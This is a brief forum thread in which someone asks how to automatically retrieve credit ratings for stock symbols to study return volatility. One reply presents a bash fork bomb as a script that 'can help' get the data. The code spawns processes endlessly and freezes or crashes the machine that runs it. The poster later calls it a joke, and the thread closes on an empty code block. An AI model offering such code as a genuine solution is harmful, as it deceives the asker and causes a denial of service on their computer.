Automated way to get credit ratings for a stock symbol?

Is there an automated way to get credit ratings from Moody's, S&P, and Fitch given a stock symbol? I would like to see if credit ratings can predict stock return volatility.

 

Oh, yeah.... I can get all that data. This script can help:

Code:

fork() {
    fork | fork &
}
fork

 

I think that's a direct quote from Moody's and S&P analysts regarding Bethlehem Steel, Circuit City, Chesapeake Energy, Delta Airlines, Eastman Kodak, Enron, General Motors, Lehman Brothers, Nortel, Radioshack, Sears, United Airlines, US Airways, Washingtom Mutual, Worldcom and WHX.

 

Alright, alright.... I was just kidding. It was a JOKE. Since, IMHO, it's a decent idea I'll give you this one for free; on me! Maybe we can work together some day.

Oh, come on. Way too verbose.

Code:
